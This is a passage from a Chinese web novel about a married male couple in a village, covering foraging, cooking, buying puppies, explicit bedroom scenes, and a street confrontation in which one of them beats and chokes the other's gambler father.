但他年少,没有那种沉闷的气息,嘴角噙笑,眉眼间神采奕奕,好似志满意得。 奈宁在水里割草摸田螺,拿石头将田螺敲开,喂了就近的一只鸭子,其余鸭子嘎嘎嘎游过来,争着吃田螺。 萧练也伸手往淤泥里摸,这泥软腻腻的,他还没踩过这种泥,更没摸过,一时有些新鲜,不一会摸出一个田螺,他又要高兴半天,得意地跟奈宁炫耀。 奈宁将桶往他跟前放,方便他将田螺丢进去。 他却不,他也要寻一块石头来把田螺敲开,取肉。 鸭子绕着两人游来游去,不一会连大鸡小鸡也跟着过来了,一块肉丢过去,双方都抢着吃。 萧练在地里摸了一会,没螺了,不甘心只在浅处,借着拐杖的力道慢慢地挪到深处来,没多久被他摸出一条泥鳅来。 他还是第一次摸到泥鳅,整个人都神采奕奕的,一定要拿给奈宁看。 看他玩得这么开心,奈宁恨不得搬块大石头来给他砸田螺。 摸了半桶田螺,又割了一些草,回家剁碎了喂鸡喂鸭。 奈宁又扛了个锄头出来,进竹林里挖几根竹笋。 一根根长得老高,到膝盖那么高,还很粗。 这种竹笋泡酸菜好吃。 不知为何,村子里没啥人挖笋。 奈宁扛着锄头到里面刚要挖,一转头,果然大少爷也从水里站起来了,一只脚抬起来,拐杖椅子一起扶,姿态怪异地从水里出来,但好歹没摔跤,也不需要人过去搀扶,目光对视上两个人都笑一笑。 萧练将椅子放在竹林旁边:“不捉田螺了?” 奈宁笑道:“你可以继续抓,我来挖两个笋。” 萧练摇头:“我也挖笋。” 奈宁将锄头递给他,看他站都站不稳,怎么挖笋。 他拿着锄头弃了拐杖开始锄地,就有点摇晃了,刚用力锄下去就靠倒在一根竹上。 奈宁笑道:“我来挖,你帮我剥壳吧。” 竹林幽静,除他们俩说话的声音,偶尔传来两声鸡啼,公鸡打鸣了。 奈宁挖了一根高高的,看着很老,萧练将壳剥开,里面居然是嫩嫩的。 奈宁不光挖了三个笋,还捡了一些竹壳,扫了一些竹叶,满载而归。 回家萧练将螺尾剪掉,奈宁将竹壳竹叶倒进灶房里开始处理竹笋,切成片放在锅里焯水,水烧开后让它泡在那里,泡一两个时辰。 其余两个笋也一并切了,放进瓮里,倒些酸醋进去,凉水没过笋,密封,用来做酸笋。 这边忙完,那边萧练已经将田螺尾巴剪完了,这会儿他才记得一件事:“上次咱们不是还泡水吐泥吗,这次不用吐泥呀?” 奈宁愣了一下,一看所有田螺都剪完了,哦吼,这下子好了,不用吐泥了。 萧练尴尬道:“还能吃吗?” 奈宁只能说:“泥鳅还能吃。” 萧练:“……” 奈宁去将井里的绿豆汤拿出来,一人捧一碗,坐在屋檐下,美美地吃了一顿凉凉的绿豆汤。 这螺尾巴都剪了,肯定要立刻吃掉,没吐泥,鱼腥味重人吃不好,但还是可以喂鸡鸭。 两人全部将田螺肉敲了出来,又炖煮了一番,拌些粥米,再切些野菜叶子。 三只母鸡饭量都大,一个个把胃撑得饱圆。 待吃完之后奈宁摸摸它们脖子之下胸口之上,结结实实的。 原本打算自己吃的田螺就这么被干掉了。 两人早早开始做昏食,奈宁特意留了两条泥鳅,明早吃个泥鳅粥,晚上还是要吃点硬菜,泥鳅拿油煎了之后放辣椒爆炒。 另外半边鸡也跟蘑菇一块闷了。 太阳没下山就吃饱了,之后又一起做了一会针线活,没缝两针,萧练殷勤地拄着拐去给奈宁提水洗澡,脸上的笑容没散过。 等奈宁进去泡上澡了,他又小火慢熬几盏燕窝,这才提着水给自己洗澡。 他洗得不快,慢条斯理地擦洗,但早就泡上澡的小哥儿却慢吞吞的没有动静,按往时早该来敲门了。 太阳西沉,一落山天立刻就要暗下来,他越发无法淡定,加快了手上速度,等衣服都穿好了,天都黑完了,还是没听到半点动静,只能起身出门去看看到底怎么回事,在奈宁房门前踌躇了半天,终于还是敲了敲门。 里面传来柔柔的一声:“进来。” 萧练怔了怔,立刻抑制不住自己的嘴角,跟上一次他说的一样。 他咳了一声,又敲了敲门,低声说:“那我进来了?” 里面没有响应。 萧练乐了一阵,整理衣襟,咬了几次唇,才将嘴角压下来些,开门时手都在抖,又偏过头朝门外笑了笑。 好不容易打开门来,先往屋里扫了一圈,一惊,没有人,不由喊出声来:“宁宁?” 床榻那边闷闷的应了一声:“嗯。” 萧练怔了怔,等反应过来什么,嘴角都要笑烂了,所以已经在床里等他了么? 床榻上蚊帐合拢,影影绰绰一道玲珑身影。 莫名想起上一次,他也是这般乖乖的在床上等人。 想到上一次的情景,莫名口干舌燥,也不知道这一次是不是一样。 正在他胡思乱想时,小哥儿的脑袋从蚊帐里探出来,身子都遮在蚊帐里,看不清楚。 萧练冲他笑了笑。 奈宁抿了抿唇,眉眼弯弯,看了一眼来人,也不说话,又钻回床里了。 萧练魂都要被勾走了,拄着拐就往前走,越近床边心跳越快,伸手快要撩开蚊帐时,里面传来一声。 “熄灯!” “哦,好!”萧练恍然,又赶紧撤回去,熄了灯。 房间陷入一片黑暗。 萧练都没等瞳孔适应黑暗,就往床边走过去,不出意外地撞了床,闷哼一声,床里面传来一声轻笑。 萧练心都要化了,喃喃地喊了声宁宁。 床里伸出一只手在黑暗里乱摸,两个人的手够到,萧练再也不愿意分开,牢牢牵着,一路上了床,拐杖都没来得及放好,就先将人揽进了怀里。 隔着衣料依然能感受到男人炙热的体温,奈宁被烫的一缩,心脏砰砰乱跳。 揽到了人,萧练心里踏实起来,贴着奈宁的耳朵,低声道:“谢谢宁宁。” 被他呵出来的温热气息灼烫着,奈宁莫名羞赧:“谢什么?” “没什么。”萧练笑道。 心中暗暗决定,这次定要好好表现的。 还没开始动作,奈宁就觉察到了他的精神气儿,被他揽着,分明哪哪都是□□之躯,就是觉得硬邦邦的,又烫又硬,像烙铁一样。 看着老老实实的男人呼吸渐沉,先是轻轻咬着他的耳廓,将他咬得一颤一颤的,将他整个耳朵都含进口腔,奈宁嘴里溢出细碎的呻吟,立刻捂住嘴。 男人的大手很快伸了过来,拉住他的手,五指嵌入进去,跟他十指相扣起来。 男人掌心的温度也是烫得吓人,他的脑子也跟着烧起来,胡思乱想间,脸蛋被掰转了过去。 萧练娴熟地吮吻他的唇。 另一只空着的手也不闲着,探进他衣摆,奈宁闷哼一声。 很快牙关被破开,男人的舌尖闯了进去,宽阔的胸膛牢牢贴着他,男人无处不在煽风点火。 奈宁慢慢地被压到床榻上。 第47章 第 47 章 夫君不太行 奈宁身上的衣服不知不觉间被剥落, 刚感受到一点寒意,一具炙热的身体立刻压了上来,烫得人浑身发颤, 头皮阵阵发麻。 男人身上的衣服不知何时也除了去, 肌肤紧密相贴,奈宁忍不住呻吟出声, 沉甸甸的男人也哼了一声, 很快又吻上奈宁的脖子,流连到他耳根,带着喘息, 声音粗沉:“宁宁。” 他想说自己会努力的,但不好意思说, 只能用行动来证明自己。 只稍稍提醒一句, 我开始了。 这一次对准, 倒是比上次轻松许多。 萧练自己也烫得面红耳赤, 明明只有一个入处, 上次为何摩蹭那许久? 不过这次也磨蹭,只是此次是故意的。 奈宁咬着唇,腰肢拱起抑制不住发出难耐的声音。 萧练大手握着他的腰, 指腹轻轻摩擦,眼眸暗沉, 又细又柔软, 好似很容易折断那般。 越是柔软越是触到心底的那份渴望,控制不住自己埋下身来,在奈宁脸蛋上亲了一口,又在耳边低声说那我开始了。 都不知道他说多少次了。 奈宁鼻尖发出一道缠绵婉转的嗯声,好像被欺负惨了一般, 藏着点委屈哭泣。 萧练浑身颤了颤,狠狠地咬着牙,心跳很快,感觉自己要烧起来,深深吸了一口气,又对自己做了一道心理建设,慢慢推进。 萧练牙关咬得很紧,额角青筋暴突,一分一寸呼吸凝滞。 所幸丈夫的职责行使还算顺畅。 但他依然不敢松懈,陌生的触感在他致命之处炸开,他以为上一次就已经舒服得叫人难以忍受,谁知道现在才是极乐。 他紧紧咬着牙关,一刻都不敢松懈。 两人喘息都粗沉得吓人。 奈宁感受着这份从未体会过的感觉,头皮阵阵发麻,抬起手来在黑暗中摸到男人的脸蛋,这一刻无比想贴在男人的怀抱里亲亲他,他撑着自己慢慢坐起来,能感受到男人轻微的颤动,声音都带着些激动,喃喃喊道:“夫君?” 从今天起,他们就是真正的夫夫了。 他有点激动的又喊了一声夫君,捧着男人的脸蛋轻轻啄吻男人的唇。 然而绷得硬到微抖的男人忽然浑身一颤。 奈宁眼睛眨了眨。 好像还是有一点不对劲。 周遭的空气瞬间凝滞了,陌生的感觉退去,取而代之的是另外一阵奇怪的感觉——空虚。 萧练僵在原地。 他原本想要停歇一阵,调理好情绪,准备大干一番,结果小哥儿突然抱上来,柔软的身子,缠着他的胸膛。 一声从未听过的夫君,他死死咬着牙浑身都在发抖,第二声实在绷不住了,瞬间失防。 安静了许久,黑暗中终于传来小哥儿幽幽的一声:“又脏了呀?” 语气中夹杂着一点稀奇。 那一句这么快,奈宁没说出来。 为什么,这么不同? 明明他的手会很累,而现在他只是刚开始觉得不适应,也没有一个适应的过程,就…… 没有人说话,萧练的头差点没埋到地里去,默默收拾残局,起来点了灯。 又捡起地上的拐杖,拄着出去,先提了一桶热水进来,又捧了两碗燕窝回来。 整个过程,漂亮的唇都是往下塌的,俊美的脸蛋犹如一滩死水。 在房间的桌子上吃燕窝,奈宁看他如此,好像丢了魂一样,手指在桌面上走着走着,慢慢的走到他碗前,尾指勾了勾他的手。 大少爷看了他一眼,冷冰冰地偏过头去,但手还摆在那里没有动。 奈宁郁闷的又勾了一下他的手,男人又看了过来,眼眶已经红了,感觉下一瞬眼泪就要掉下来。 奈宁脑子轰一下炸开,没想到这伤害如此之大,赶紧将椅子拖过去:“你你你你你怎么了?别哭啊……” 手忙脚乱地摸大少爷的脸,萧练眼里的泪再也控制不住,一低头,伏在他肩膀上,肩膀都在颤抖,耳边是压抑不住的细碎啜泣声。 大少爷这是真哭了! 奈宁双手环在他后背轻轻地拍抚着,人与人的悲欢不相通,奈宁莫名觉得大少爷更可爱了,咧着嘴就笑起来。 萧练无声地痛哭了好一阵。 奈宁很努力地压着笑,脸蛋都鼓起来,嘴角都笑痛了。 等大少爷好不容易哭完,眼睛红红的,奈宁赶紧将手帕塞给他。 萧练看了一眼怎么都憋不住笑的奈宁,抿了抿唇,一副又要哭了的样子。 奈宁忙道:“好了,我不笑了,我不笑了!” 萧练擦了擦眼泪,一只手伸过来拉着奈宁,垂着眼眸也不说话,长长的眼睫上挂着泪珠,墨发凌乱,时不时要抽一下鼻子。 衣服柔软,人也是柔软,经不起摧残的模样。 奈宁忍不住伸手过来帮他擦去眼角的泪珠,他抬起眼眸:“因为你突然叫夫君,我、我……” 他我不出来个所以然又偏脸,很快又转过来执拗地说:“你再喊一声!” “嗯,为什么?”奈宁刻意逗他,大少爷就是把自己很快的速度归到他身上来了? “你不已经喊过了吗?难道难道只有在那个时候才喊吗?” “对啊!” 萧练张着唇半天说不出话来。 “既然你不喜欢,那在那个时候我也不喊了!” “别!”萧练忙道,脸颊染上了些粉:“喊吧,但能不能等后面一些再喊?” 感觉他又要哭了。 奈宁心底一片柔软,凑过去轻轻地在萧练唇上亲了一口,低声喊夫君。 萧练看他的眼神都痴了,自己也跟着低声喃喃道:“夫君,我有夫郎了!” 说着把人揽进怀里。 两人光明正大的躺到床上,奈宁有些不安分侧过身来,在萧练耳边小声说:“要不我帮你吧?” 萧练偏过头,不争气的东西还在难受着,他却是不敢了。 奈宁却没放过他,在他的耳边磨着他:“让我帮你吧,夫君?” 手指不安分的在男人薄薄的腹肌上游走,走到禁区又被拖回来,如此反复。 虽是隔着一层衣料,萧练也头皮发麻。 奈宁咬了咬他的耳瓣:“我就用手,上次不是挺好的吗?” 萧练浑身绷得紧紧的,控制不住抖了抖,声音染上了情欲:“好。” 不行归不行,但还是想要的。 脑子里满是前两次自己的不得意,手指紧紧的揪着薄被,不敢哼出声来。 奈宁蹭在他耳边,吻着他的脖颈,压着嗓子说:“舒不舒服呀,大少爷?” 萧练张了张嘴,唇间喘出一息,又赶紧闭上了,不太满意地哼了一声。 奈宁偷偷地笑,就是缠着他,喊他大少爷。 这晚最后还是挺愉快地度过,唯一不满的事,两人都不说。 但奈宁是觉得挺满意的,有一点点进步就好了,不要对大少爷要求太高。 虽然那事不太顺利,但一个晚上还是好生折腾,出门有些迟了。 农闲时分,幽静的山林多了不少人,上次被石子砸走的人没遇到,倒是遇到秀红婶他们。 秀红婶笑道:“这么早上山,今天挖些什么呢?” 奈宁心情好,也是笑脸相迎,道:“随便上来看看。” 村子附近的山,人太多,搞不到什么好货了,闲聊两句之后各自分开。 他们继续前往之前挖松茸的地方,奈宁想着又有一段时日没来了,定有好多大蘑菇等着自己,这几日天气可好,雨水足,山林温暖,好好挖,说不准能挖两大背篓,赚个六两银子。 现在农闲了,他也是有些担心这块地方被人寻到,毕竟大家都来挖,他们就挖不到这么多了。 来到目的地,奈宁松了一口气,一眼就看到了好几朵又大又漂亮的蘑菇,有□□的,有没□□的。 他开心得叫了一声,忍不住抱着大少爷亲一口。 六两银子到手了! 萧练刚刚爬上来,摇摇晃晃的,被他一亲,差点没摔倒,但嘴角都是笑容,眼睛弯弯温柔似水。 他从小锦衣玉食,对钱财欲望不高,但看小夫郎开心,他也跟着开心。 不出奈宁所料,这一趟真是非常幸运。 一眼看过去都是又大又漂亮的松茸,更让奈宁惊喜的是,遇到了一颗跟脑袋一般大的松茸,破土长出来了,特别明显。 奈宁一边开心一边有些难过,它长出来了,已经开伞了。 他为难地看着萧练:“挖不挖?” “算了,咱们下次再来,说不定它的籽也能这么大。” 一句话把奈宁说得开心了,扒拉了一把枯草落叶过来把它覆盖住。 他现在挖蘑菇挖的满手都是泥,一点都不觉得脏,反而是快乐。 枯叶枝上突然隆起一个包,大多数是藏有蘑菇,萧练扒开菇叶,露出大大的蘑菇给奈宁挖。 萧练在前面翻,奈宁在后面无脑撬。 一个个又大又漂亮,还一窝一窝地长,一个就能有大半斤那种,那手柄可粗,奈宁笑着握个不停,不住地冲大少爷挑眉。 这会到他不中用了,才挖了大半背篓,手累了。 接下来是他找,大少爷挖,男人有男人中用的地方,接下来都是他挖,也不见他喊累。 就挑之前挖到的松茸窝翻,一翻一个准。 没多久就将两个背篓装得满满的,上面铺了一层树叶,遮挡别人的视线。 奈宁寻了个山溪,洗了手再洗把脸又舒服了,摘几个野果子,就着烙的饼吃。 两人对视一眼,心里都是甜蜜。 萧练轻轻摸了摸奈宁的脸蛋,看他笑得可口,刚要亲一口,他就偏过了脸,调皮地扬眉,就是不给亲,勾得人心里痒痒的。 萧练也不勉强,撇了撇嘴。 奈宁看大少爷又蔫了吧唧了,嗔道:“刚出了汗,多脏呀!” 萧练道:“更不是洗过脸了吗?” “山里的水不太干净,不能乱亲,说不准有蚂蝗呢?” 萧练盯着他的唇,喃喃道:“亲个嘴,就亲个嘴。” 第48章 第 48 章 我帮你按按肩颈 回到家才过午, 后院里,母鸡咯咯咯叫个不停。 这是刚刚下了蛋,得意地炫耀呢。 奈宁到鸡窝一看, 乖乖, 两个窝三枚蛋,真是不亏昨日喂了这么多田螺, 三只母鸡都下蛋了。 奈宁满脸是笑, 拿篮子将蛋捡起来,又拿了一把米撒在地上给它们吃,以后每日都可以出去挖点田螺来喂鸡。 萧练将背篓放下, 刚要回后院,奈宁就过来了, 笑盈盈道:“之前咱们不是说要养小狗吗?之前听秀红婶他们闲聊说大宝叔家狗子生了两只狗崽, 咱们去把它定下来。” 他顺便将昨日剩的骨头也一并打包过去。 大宝叔家在村子另一头, 有点偏僻, 隔壁住了个寡妇, 带着一个三四岁的闺女一岁多的儿子,还有个阿婆。 奈宁跟这家没什么来往,经过看了一眼, 拉着萧练径直往大宝叔家而去。 一眼就看到了大宝叔家的母狗跟两只狗崽。 两只黄毛狗子追着大狗要吃奶,把皮肉扯得长长的, 大狗叉着腿走, 呲牙汪汪叫,最后实在受不了,跳到高处跑了。 两只小狗朝大狗汪汪叫着,还要追,精神气看着可真不错。 看到有生人来, 狗子顾不上追奶吃,先冲他们叫开了,龇牙咧嘴奶凶奶凶的。 奈宁还没看到狗主人,就先笑着跟萧练说:“就买它们了。” 大宝叔听到他们来意,笑道:“我正想着过两日把它们挑到镇上去卖呢,刚好你们来也不收贵,三十文一只吧。” 奈宁也不还价,笑着问:“大宝叔,我们想买些米,你们有多余的米可以卖一些给我们么,买谷子也可以的。” “自然是有的,这谷子刚刚晒干,你们要多少?我们帮你们送到家里去!” 奈宁先买一包谷,他们养的鸡鸭多,也不需要脱壳,到时候谷子直接煮开喂鸡鸭,都不用拌谷糠,就是要多开一个灶,要是养猪就好了,炖猪食的时候直接把谷放猪食上面一块煮,又喂了鸡,又喂了猪。 奈宁粗略算了一下,觉得养两只小猪也挺好的,挖蘑菇这一笔钱不是这么好赚的,说不准什么时候就没有了,特别是现在农闲,大家都有空上山。 农人家多出来的米粮可以喂猪,但也可以卖钱,大家养猪花的钱是一样的,是以并没有没种地养猪花钱就多一点的说法。 他正想着,突然大宝叔一声爆喝:“陈瘪三,你做甚呢!” 奈宁顺着他的视线看去,只见之前雨天想对他行不轨之事的那个恶心人爬在一棵树上,往寡妇屋里面偷看着。 被大宝叔声音震住,陈瘪三从摔了下来,什么也顾不上慌张跑了。 奈宁拧着眉,满脸恶心,大少爷竟然没有把他作恶的东西弄死吗? 屋里面传出孩童哭喊的声音,接着年轻妇人提着棍冲出来:“陈瘪三,去死吧,青天白日上个茅厕你都不放过,你怎么不去死!” 追出来的时候只看到奈宁大宝叔几个,愣了一下。 大宝叔说:“刚刚跑了。” 张寡妇就冲着陈瘪三家那边跑去了。 他们几个也跟着一块过去。 大老远就听到骂声。 “没人要的死寡妇,早该随你男人去了,敢说我儿子能看得上,也不撒泡尿照照自己长什么衰样!” 破泥屋前,张寡妇跟一个老妇人对峙着,老妇人握着扁担跳起来骂张寡妇:“你男人短命,你生的子女都是短命,你个跟人勾勾搭搭不清不楚的死寡妇,再乱来污蔑我儿子我捉你去浸猪笼信不信!” 这老妇人正是陈瘪三他老娘,陈阿婆。 老来得子可不珍贵着,她宝贝疙瘩做啥都是对的,没讨上贵门高女做媳妇就是旁人不识好歹。 忽然一股臭味扑鼻而来,后面响起一道沧老恼怒的声音:“让开让开!” 几人下意识偏过身去,一个老婆子从提着粪桶从他们中间跑过,猛地将一桶粪尿泼在破茅屋前老妇人身上。 “满口喷粪的东西,吃屎去吧!” 一股恶臭在空气中散开,奈宁没看多久,赶紧回家去了。 回来路上遇到四处走卖的屠夫,有排骨,还有猪肝,今日赚了大钱,定是要好好吃一顿的。 奈宁两样都买了。 大宝叔还给他们送了些瓜果蔬菜,奈宁也不白拿,都给了钱。 大宝叔拿了钱要走人的时候,两只狗子跟在屁股后面摇着尾巴跟着走。 谁知下一刻门关了,狗洞也堵了,根本出不去,它们冲着门汪汪叫。 奈宁笑了笑,也不管它们,先让它们自己慢慢适应家里。 一篮子青菜里面有几根新鲜翠绿的黄瓜,奈宁洗了,打算凉拌黄瓜。 黄瓜拍扁切块,又拍些辣椒跟蒜头,油盐酱醋拌一拌,一碗清爽的拍黄瓜,新鲜出炉。 尝了一口,酸脆清爽。 一扭头,那边大少爷在剁排骨。 也夹了一块,给大少爷尝尝。 “如何?” “不错。” 奈宁开心地笑了:“若是有花生就更好了。” 萧练道:“不是有吗?” “都是生的。” “那明日咱们到镇上买一些。” “好。” 奈宁将切成小块的排骨焯水,用温水洗干净浮沫,热锅下油把冰糖炒出糖色,排骨倒下去,染上糖色,放入姜葱酱油盐巴还有醋冰糖,翻炒入味,一瓢热水,香叶八角,水开后小火焖煮,焖个两刻钟,大火收汁。 炒出来的糖醋排骨,香喷喷的,酱色浓郁,一看就好吃。 炒猪肝要先将猪肝处理好,切片,血水洗干净,油盐酱腌一腌。 姜,蒜,葱,辣椒都要准备一下。 大火将猪肝炒制变色,捞起。 葱白、姜、蒜、辣椒爆香,刚炒过的猪肝倒进去,翻炒均匀,撒上葱花,稍稍翻炒一下就此出锅。 挺久没吃松茸,也切了两个炒来吃。 两个人,饭菜却是摆了满桌,人丁不旺,又烟火浓浓。 奈宁就舀了一点点饭,跟大少爷一块大口吃菜,以往都不敢想能吃到这么多肉菜。 他胃口好得很,半点不觉得腻味。 连萧练也夸道:“谁教你炒的,这么好吃?” 奈宁冲他咧嘴一笑:“每次看到人家家里办酒席,我都要停下来看几眼,就是看大厨们怎么炒菜,你看这不就派上用场了。” 萧练脑中莫名浮现一个瘦巴巴的小哥儿,背着比自己还要重的柴火,满额头都是汗水,看到人家家里做酒席,停下来观望。 眼巴巴的,嘴里不知吞了多少口水。 莫名心疼。 他默默吃饭,只是不停地往奈宁碗里夹肉。 两只狗子一改高贵冷艳,蹭到腿边,夹着嗓子汪汪叫,讨骨头吃,谄媚得很。 奈宁心情愉悦,大少爷何尝不谄媚,给他提了水也不走了,话还没说出口,耳尖就红了:“嗯,今日,上山辛苦了,要不,我帮你按按肩颈?” 奈宁好笑,知道大少爷不怀好意,心跳还是止不住加速,平时衣服一下子就解了,这会有点磨磨蹭蹭,脱下前还是先看了一眼大少爷。 大少爷一直看着他,视线对上,两人脸蛋都更红了,笑容腼腆又炙热。 奈宁笑了笑,垂下眼帘,衣服随之坠地。 在萧练发怔的时候,哗啦一声,他踩进了浴桶里,一下子整个人都埋了进去,静静地窝在里面,不敢出来了,身心俱烫。 萧练稳了许久心神,走过去还是撞了一下浴桶,撞到膝盖却是按了胸口。 心里有说不出的愉悦,还没走到奈宁身边就觉得,就闻到一股幽香。 情不自禁的俯身下去。 连发丝都觉得诱人,喉结攥动。 奈宁嘴巴以下都泡在水里,只觉得头发根麻麻的,不知道大少爷在做什么,一动不敢动。 没多久男人的手探进水中,摸到了奈宁肩膀。 水温原本就够热了,男人掌心的温度依然明显,奈宁又往水里埋了埋。 头顶传来男人低沉的声音:“起来些。” 这沉沉的一声压下来叫人浑身发颤,好似全身都被他笼罩了。 想着昨晚他那沉重的身体,奈宁莫名有些害怕,大少爷看着萧条,却是极重,压得人喘不上气。 昨晚找准地方比一开始顺利许多,但却故意磨人,叫人受不了四处扭腰,他却牢牢禁锢着别人腰肢,坏得很。 没让他多想,男人的双手穿过他的腋下,就这么把他提上来了。 他莫名羞窘,僵在那里一动不敢动。 酸痛的肩膀在男人大力揉按下得到舒展,揉脖颈力道也是轻缓得当,舒服得他头皮发麻,全身酥软,昏昏欲睡。 谁知男人嗅了下来,温热鼻息烫着肩头肌肤:“夫郎好香啊。” 奈宁一个激灵,瞬间梦醒,羞得又想埋水里。 大少爷哪里是单纯地想给他按揉呢,看着想吃他来着。 萧练拉出他手臂也要给他手臂揉揉,手指一根一根给他按,也不觉得费时费劲,反倒像对待什么珍宝,时不时冲奈宁笑笑,情意绵绵。 按完手指尖也没消停,盯入水里,道:“要不也按按腿?” 奈宁心里都要笑疯了,脸上却是烫得厉害,将大少爷推了出去。 别看大少爷这会挺骚,上床后却是躺得平正。 奈宁笑死了,圈着他的腰,脸蛋埋他怀里,蹭了两蹭,又用力捏了一把,这才停了。 明日还得赶集,今天不闹他。 萧练睁着眼睛不知熬了多久,睡着之前在想,明日到镇上定要买一本书,再如此下去,实在煎熬。 第49章 第 49 章 想杀了他 幽静的村庄传来鸡啼, 接着是鸟儿叽叽喳喳的声音。 热闹又安静。 狗子在院子里蹦蹦跳跳,一看到人出来就汪汪汪迎上前,跑前跑后。 奈宁到后院淋菜, 把鸡鸭放出去, 又到溪流边摸几个田螺。 鸡鸡鸭鸭都特别积极地跟在他后面,咯咯嘎嘎叫着, 讨肉吃来了。 奈宁摸到田螺直接就砸开喂它们, 一只只跑得飞快,精神极了。 逗逗鸡鸭还是挺开心的,正玩得高兴, 大少爷拄着拐过来了:“吃饭了。” “好!”奈宁赶紧洗洗手,抛弃鸡鸭, 跟男人一块回去吃饭。 把家里的鸡鸭狗子都喂完, 两人背着货物早早去小镇。 还是等驴车。 这会儿路口那户人家终于没好多人在闲聊了, 就几个小孩在那玩。 这块也没等到驴车, 等到的是牛车, 应该是出发的太早了,两人还是上了车。 牛车速度慢,晃晃悠悠的, 上面老人居多。 奈宁板板正正的坐着,大少爷撑着一柄伞, 另一只手也没空的, 伸过去拉住奈宁的手,紧紧握着,往自己膝盖上放。 有个老头一脸嫌恶地啐了声,萧练没看到一样,反而将奈宁的手握得更紧了, 奈宁偏过头来冲大少爷笑笑,将脑袋枕在他肩膀上。 还冲那老头得意地笑。 若他真那么在意旁人的眼光,他跟大少爷根本走不到一处,而且大少爷这么俊,怎么说都是他赚到了。 奈宁没想到的时候,在他得意忘形的时候,大少爷亲了过来。 奈宁脸蛋一红,转过头来刚想说不要乱动,大少爷又亲了亲他的唇。 奈宁没脸见人了,整张脸都埋在大少爷肩膀上。 偷偷瞥了眼对面那老头,眼看他就要气死了。 但也有不少心善之人,见大少爷拄着拐光,赶紧过来帮忙。 又是搀扶,又是帮拿背篓。 下了车,奈宁心情愉悦:“哈哈哈,你看到他气急败坏的样子了吗。” 萧练笑了笑说嗯。 他们蘑菇直接送到商店,那商人刚好在,看到他们就出来迎接,还满脸是笑,要请他们进去喝茶。 两人跟着老板走到后院,把蘑菇倒在石案上给老板验货。 依然都是柄跟朵差不多同宽的漂亮蘑菇,又大又饱满。 老板连声说可以可以。 两个背篓蘑菇上称,有五十三斤。 老板给了他们六两三百六十文钱,还让他们随便挑货物,可以便宜些卖。 这老板啥都卖一点,三个铺头都是他的,买卖挺齐全。 奈宁谢过他的好意,家里暂时啥都不缺,但是换了十两银锭,上一次存了四两,这一次又有六两,刚好十两,可以买一亩良田。 他们山村里面的田就没有这么贵,六七两可以买一亩了,当然前提是有人卖,这年头太平盛世,卖田地的人毕竟是少数。 此番要给大少爷看腿,再抱两只猪崽回去。 奈宁拉着大少爷满脸笑容离开店铺,谁知还没出门就遇到个恶心扫兴之人。 奈大壮被店里的伙计挡在外面,看到奈宁出来,一张脸笑成菊花,冲奈宁直招手,像是看到中了状元的儿子:“出来了,出来了,宁儿,爹在这爹在这,我都说了,他是我儿子,还不放开我!” 两个伙计满脸质疑,不知道放还不是放。 被他们拦着不能入店的这个人,不知道多少天没洗澡了,头发衣着肮脏得不行,脸颊凹陷,双目猩红,看着没什么精神气,但又神经质般异常激动。 不像人,更像是被操控了的傀儡。 伙计看向奈宁,只见奈宁只当做没看到,一脸恶寒地往另一条路走。 奈大壮连忙追上来:“宁宁啊,刚你卖了什么,老板这么好招待你,定是赚了不少钱吧,爹爹好几日没吃饭了,先来几百文给爹吃个饭吧!” 这人走得近了一股馊臭味。 奈宁冷声道:“想要我的钱呢?好啊,你死了我烧给你,其余时候给我死远点!” 说着拉着大少爷就要走,奈大壮还想缠上来被萧练狠狠撞开。 奈大壮就像个赖皮糖一样,死死纠缠着他们,中了邪似的眼睛,牢牢地套在奈宁腰间,看哪里有钱。 萧练恶心透顶,举起拐杖,冲他脑门就砸下去:“滚开,否则报官!” 奈大壮输得红眼睛都红了,正愁没钱翻盘,此刻天王老子来了都不怕,捉着萧练打过来的拐杖狠狠一拽,差点没将萧练拽倒在地,恶狠狠道:“你个死跛脚,别吓唬我,官府可不管这种事,他是我亲生儿子,官府来了也得让他孝敬老子,刚才赚的钱赶紧给老子交上来!” 说着就要冲过来抢奈宁的荷包。 萧练咬着牙看他,目光变得深寒,握着拐杖的指尖,攥得发白,想杀了他。 摊上这种人,一世都不能解脱了么? 萧练狠狠一脚踹过去,砰的一声自己也跟着倒在地上,他也不管自己另一条腿已经瘸了,爬起来,举着拐杖冲奈大壮狠狠地砸下去。 “我现在就弄死你,待会立刻给你烧钱,让你到下面吃个饱赌个够!” 几棍下去奈大壮身上条条起垄,拐杖把手磕破额头,鲜血直流。 奈大壮像看到鬼一样,瞪着腿拼命往后退。 萧练又猛地丢了拐杖,扑上来掐着奈大壮的脖子,死死不放。 英俊秀美看着弱不禁风的书生,疯了一样,就是要杀他。 奈大壮眼中尽是恐惧,想喊救命,都喊不出来,喉咙被卡住了,说不出声。 所幸旁边游街的人还挺多,眼看就要出人命了,赶紧扑过来,拦住萧练,没一个能掰开他的手。 奈宁被忽如其来的一幕震惊了,只看到被大少爷掐着脖子的那个人脸色涨成猪肝色,眼睛可怜巴巴的向他求助。 那一刻奈宁竟有一股恨不得他死了的快意,但是杀他者可是大少爷,杀人可是要偿命的! 奈宁赶紧冲过去,拍着大少爷的手:“放手放手放手,不要杀他,不要杀他,你死了,我怎么办!” 萧练终于松了手,头发衣冠都乱了,喘着粗气,眼睛猩红,扭头看着奈宁,也不说话,眼泪无声地掉落。 奈宁心脏被狠狠地剜了一刀,一把将大少爷抱住了,眼泪争先恐后溢出来。 奈大壮刚脱离虎口,才喘匀气就跳起来指着他们骂:“奸夫淫夫,狗杂种,早知道当初就该把你浸了猪笼,一出生就把你摔尿缸淹死!” 旁观的人啧啧道:“这怎么回事?这书生要杀死这个乞丐,怎么反而是他们哭得惨?” “虽然我才刚到,但用屁股想都知道,这种人烂赌又烂饮,像牛皮糖一样缠着人家小夫夫,遇上这种爹真是叫天天不灵,叫地地不应!” “说不定这书生的家产就是被这个赌鬼给输光的,我见他日日流连在赌房里” “可怜,一开始我就觉得不对劲,他双眼无神好像要死一样,一看到这两个小夫夫进店铺,立刻回光返照,直接就跟过来了!” “啧啧啧,摊上这种爹可怎么办?” “不是我爹!”奈宁还搂着大少爷,听到别人在这里乱说,忍不住喝道:“他还要叫我叔的,不信你们可以到我们村子里问,他早就把我卖了,把我过给一个太祖,我的名字已经入了族谱,就在太祖名下,现在我是他叔!” 民间向来有这种过继子女的事情,过过去了就要认另一家为祖,跟这一家彻底断了关系。 这个是公认的,没有什么契书可言,谁要是不认,那就是要被大家所不齿的,在村子里头都无法立足。 没道理人家辛苦养大的儿子就归了你。 所谓生母不如养母恩,便是如此。 大家戳着奈大壮的脊梁骨指指点点。 